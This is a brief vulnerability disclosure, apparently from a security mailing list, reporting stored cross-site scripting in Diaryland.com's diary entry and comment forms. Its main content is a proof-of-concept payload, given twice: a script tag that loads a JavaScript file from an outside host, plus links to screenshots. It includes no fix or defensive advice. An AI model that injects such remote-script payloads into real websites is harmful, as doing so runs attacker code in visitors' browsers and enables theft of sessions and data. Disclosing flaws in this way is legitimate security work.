Diaryland.com Homepage: http://www.diaryland.com Effected files: input boxes on creating diary entries. posting comments in diary entries XSS Vuln PoC: With no filter evasion at all, we simply put as our entry: [SCRIPT SRC=http://youfucktard.com/xss.js][/SCRIPT] Screenshots: http://www.youfucktard.com/xsp/diary1.jpg http://www.youfucktard.com/xsp/diary2.jpg XSS Vuln when posting comments in entries: Again, same as above, no filter evasion: [SCRIPT SRC=http://youfucktard.com/xss.js][/SCRIPT] Screenshots: http://www.youfucktard.com/xsp/diary3.jpg http://www.youfucktard.com/xsp/diary4.jpg
